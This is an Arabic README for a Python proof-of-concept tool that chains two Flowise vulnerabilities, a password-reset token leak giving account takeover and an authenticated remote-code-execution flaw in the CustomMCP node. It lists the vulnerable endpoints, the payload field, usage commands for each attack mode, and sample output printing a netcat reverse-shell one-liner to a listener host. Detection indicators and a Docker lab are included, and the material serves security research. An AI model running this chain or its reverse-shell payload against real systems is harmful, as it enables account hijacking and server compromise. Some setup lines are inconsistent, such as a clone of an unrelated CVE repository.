
استغلال ثغرات FlowiseAI CVE-2025-58434 و CVE-2025-59528 (PoC)، يُظهر استيلاء غير مصادق عليه على الحساب (ATO) عبر تسريب رمز إعادة التعيين، يليه تنفيذ تعليمات برمجية عن بُعد (RCE) مصادق عليه. يتضمن بيئة مختبرية قابلة للتكرار باستخدام Docker.
⚠️ لأغراض تعليمية وبحث أمني مصرح به فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.
يحتوي هذا المستودع على إثبات مفهوم بلغة بايثون لربط ثغريتين في Flowise:
Flowise هي منصة سحب وإفلات لبناء تطبيقات LLM وسير عمل وكلاء الذكاء الاصطناعي. تؤثر CVE-2025-59528 على Flowise 3.0.5 وتم إصلاحها في 3.0.6. تنشأ المشكلة من معالجة غير آمنة لـ mcpServerConfig داخل عقدة CustomMCP. ترتبط CVE-2025-58434 بكشف رمز إعادة تعيين كلمة المرور وتم معالجتها أيضًا في Flowise 3.0.6.
تدعم الأداة ما يلي:
يكشف تدفق إعادة تعيين كلمة المرور الضعيف عن بيانات حساسة للمستخدم، بما في ذلك رموز إعادة تعيين كلمة المرور المؤقتة، في استجابة API. يمكن للمهاجم الذي يعرف عنوان بريد إلكتروني صالح للمستخدم أن يطلب إعادة تعيين كلمة المرور، واسترداد الرمز المؤقت من الاستجابة، واستخدامه لتعيين كلمة مرور جديدة للحساب.
يؤثر السلوك الضعيف على سحابة Flowise والنشر المحلي/المستضاف ذاتيًا الذي يعرض نفس واجهة API. العلاج هو عدم إعادة رموز إعادة تعيين كلمة المرور أو بيانات إعادة تعيين الحساب الحساسة مباشرة في استجابات API.
توجد الثغرة في عقدة CustomMCP في Flowise. يتم تحليل معامل mcpServerConfig كجزء من عملية تكوين خادم MCP، ويتم تقييمه ككود جافا سكريبت دون أي تحقق أمني. يسمح هذا للمهاجم المُصادق بحقن كود جافا سكريبت عشوائي، والذي يتم تنفيذه في بيئة Node.js لخادم Flowise. في دالة convertToValidJSONString، يتم تمرير إدخال المستخدم إلى مُنشئ Function، الذي يقوم بتقييم الإدخال ككود جافا سكريبت بصلاحيات Node.js كاملة، مما يسمح بالوصول إلى وحدات مثل child_process لتنفيذ أوامر النظام.
نقطة النهاية الضعيفة المستخدمة في إثبات المفهوم هذا هي:
POST /api/v1/node-load-method/customMCP
مع حمولة جافا سكريبت في حقل mcpServerConfig لهيئة JSON، على سبيل المثال:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
يوجد الكود الضعيف في ملف CustomMCP.ts، ويشار إليه في نشرة المسؤول على GitHub للـCVE.
المهاجم Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ كائن المستخدم + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ تم تغيير كلمة المرور │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<تكوين مصمم> │
│─────────────────────────────────────────►│
│ جافا سكريبت تم تقييمه في Node.js
│ تم تنفيذ الأمر
│◄─────────────────────────────────────────│
│ مخرجات الأمر أو الحمولة المُطلقة │
│ │
✓ استيلاء على الحساب + تنفيذ تعليمات برمجية عن بُعد مُصادق عليه
هيكل المستودع
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # قم بتكوين متغيرات البيئة
docker-compose up -d
بدون أي وسائط، ستشغل الأداة سلسلة الهجوم الكاملة، وتفحص الثغرة المستهدفة، وتقوم بالاستيلاء على الحساب للبريد الإلكتروني المقدم، وتسجيل الدخول لاسترجاع ملفات تعريف الارتباط، ثم استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد بحمولة شل عكسية. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
يقوم بإجراء فحص الإصدار لتحديد ما إذا كان الهدف عرضة لـ CVE-2025-58434 و CVE-2025-59528. يرسل طلبًا إلى API الهدف ويحلل الاستجابة لتحديد إصدار Flowise وحالة الثغرة.
python3 exploit.py --target http://localhost:3000 check
ينفذ عملية الاستيلاء على الحساب لـ CVE-2025-58434. يرسل طلب إعادة تعيين كلمة المرور للبريد الإلكتروني المحدد، ويسترد الرمز المؤقت من الاستجابة، ثم يستخدم هذا الرمز لتعيين كلمة مرور جديدة (افتراضيًا: "Password123!") للحساب.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
يسجل الدخول إلى الهدف باستخدام البريد الإلكتروني وكلمة المرور المحددين (افتراضيًا: "Password123!"). في حالة النجاح، يقوم باسترجاع وعرض ملفات تعريف الارتباط للمصادقة (مثل connect.sid) لاستخدامها في الطلبات المُصادق عليها.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد (CVE-2025-59528) عن طريق إرسال حمولة mcpServerConfig مصممة إلى نقطة النهاية الضعيفة. تم تصميم الحمولة لتنفيذ أمر شل عكسي يتصل مرة أخرى بجهاز المهاجم على LHOST و LPORT المحددين. إذا لم يتم توفير رمز مميز، يحاول تلقائيًا تسجيل الدخول واسترداد رمز مميز صالح للاستغلال. إذا لم يتم توفير LHOST/LPORT، يتم افتراض حمولة أمر id بسيطة تعيد المخرجات في الاستجابة. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
الوضع الافتراضي. يشغل سلسلة الهجوم بأكملها بالتسلسل: يفحص الثغرات، ويقوم بالاستيلاء على الحساب، ويسجل الدخول لاسترجاع ملفات تعريف الارتباط، ثم يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد بحمولة الشل العكسي. قم بتشغيل مستمع مخصص (مثل nc -lvnp 9889) قبل تنفيذ الأداة في وضع السلسلة الكاملة.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] عنوان URL الهدف: http://localhost:3000
[∗] الوحدة : full-mode
[∗] البريد الإلكتروني : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] جاري التحقق من ثغرة الهدف...
[+] يبدو أن الهدف ضعيف.
────────────────────────────────────────────────────────────────────────────────
[∗] بدء الاستيلاء على الحساب (CVE-2025-58434)...
[+] تم إرسال طلب إعادة تعيين كلمة المرور بنجاح.
[∗] بيانات المستخدم الهدف :
🡪 المعرف : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 الاسم : Lab Admin
🡪 البريد الإلكتروني : [email protected]
🡪 بيانات الاعتماد : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 الحالة : active
🡪 الرمز المؤقت : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 صلاحية الرمز : 2026-05-08T19:37:47.025Z
[∗] محاولة إعادة تعيين كلمة المرور باستخدام الرمز المؤقت...
[∗] كلمة المرور الجديدة : Password123!
[+] تم الاستيلاء على الحساب بنجاح! بيانات الاعتماد الجديدة:
🡪 البريد الإلكتروني : [email protected]
🡪 كلمة المرور : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] بدء عملية تسجيل الدخول لاسترداد ملفات تعريف الارتباط للجلسة...
[+] تم تسجيل الدخول بنجاح!
[+] تم استرداد رموز الجلسة :
🡪 الرمز المميز : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] بدء تنفيذ التعليمات البرمجية عن بُعد (CVE-2025-59528)...
[!] تأكد من أن لديك مستمعًا جاهزًا إذا كنت تستخدم أمر شل عكسي!
[∗] أمر الشل العكسي: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] عنوان URL الهدف: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] جاري إرسال الحمولة لتفعيل تنفيذ التعليمات البرمجية عن بُعد...
[+] تم إرسال الحمولة. تحقق من المستمع الخاص بك لاتصال الشل العكسي!
────────────────────────────────────────────────────────────────────────────────
[+] انتهى العمل. وداعًا!
يوصى باستخدام مختبر محلي للاختبار الآمن.
تثبيت المختبر:
cp .env.example .env # قم بتكوين متغيرات البيئة حسب الحاجة
docker compose up -d --build
docker compose logs -f
يتم إنشاء حسابين لـ Flowise افتراضيًا:
[email protected]، كلمة المرور يتم إنشاؤها عشوائيًا عند بدء الحاوية (تحقق من السجلات للحصول على كلمة المرور).[email protected]، كلمة المرور يتم إنشاؤها عشوائيًا عند بدء الحاوية ولكنها لا تظهر في السجلات. هذا هو الهدف المقصود لتدفق الاستيلاء على الحساب.قم بتشغيل إثبات المفهوم ضد المثيل المحلي:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
لفحص سجلات Flowise:
docker compose logs -f flowise-cve-lab
أو:
docker logs -f flowise-cve-lab
مؤشرات محتملة للاستغلال:
/api/v1/node-load-method/customMCPmcpServerConfig مشبوهة تحتوي على بناء جمل يشبه جافا سكريبت.process.mainModule, child_process, execSync, Buffer.from, Functionتم توفير هذا المشروع للأغراض التعليمية، واختبار المختبرات، والبحث الأمني المصرح به فقط.
أنت مسؤول عن ضمان حصولك على إذن صريح قبل تشغيل هذه الأداة ضد أي نظام. المؤلف غير مسؤول عن سوء الاستخدام أو الضرر أو النشاط غير القانوني الذي يتم باستخدام هذا الكود. اتبع دائمًا الإرشادات الأخلاقية والمتطلبات القانونية عند إجراء الاختبارات الأمنية.
| العلامة | الوصف | مثال |
|---|
-t, --target | عنوان URL الأساسي للهدف | -t http://localhost:3000 |
-e, --email | البريد الإلكتروني لحساب الهدف | -e [email protected] |
--password | كلمة المرور المعروفة لوضع تسجيل الدخول/تنفيذ التعليمات البرمجية عن بُعد | --password Password123! |
--token | رمز جلسة موجود، يتجاوز تسجيل الدخول | --token eyJ... |
--new-password | كلمة المرور لتعيينها أثناء الاستيلاء على الحساب | --new-password Password123! |
| الوضع | الوصف |
|---|
check | التحقق مما إذا كان الهدف يبدو ضعيفًا |
ato-mode | تشغيل تدفق الاستيلاء على الحساب فقط |
login-mode | تسجيل الدخول واسترداد ملفات تعريف الارتباط للجلسة |
rce-mode | تشغيل تدفق تنفيذ التعليمات البرمجية عن بُعد فقط |
full-mode | ربط الاستيلاء على الحساب وتنفيذ التعليمات البرمجية عن بُعد |
| العلامة | الوصف | مثال |
|---|
-c, --command | الأمر المخصص للتنفيذ | -c 'id' |
--lhost | مضيف المستمع للشل العكسي | --lhost 10.10.14.3 |
--lport | منفذ المستمع للشل العكسي | --lport 4444 |
| العلامة | الوصف | الافتراضي |
|---|
--no-check | تخطي فحص الإصدار/الثغرة | False |
-v, --verbose | تمكين تسجيل التصحيح | False |
--log-file | مسار ملف السجل | logs/exploit.log |
--no-color | تعطيل ألوان ANSI | False |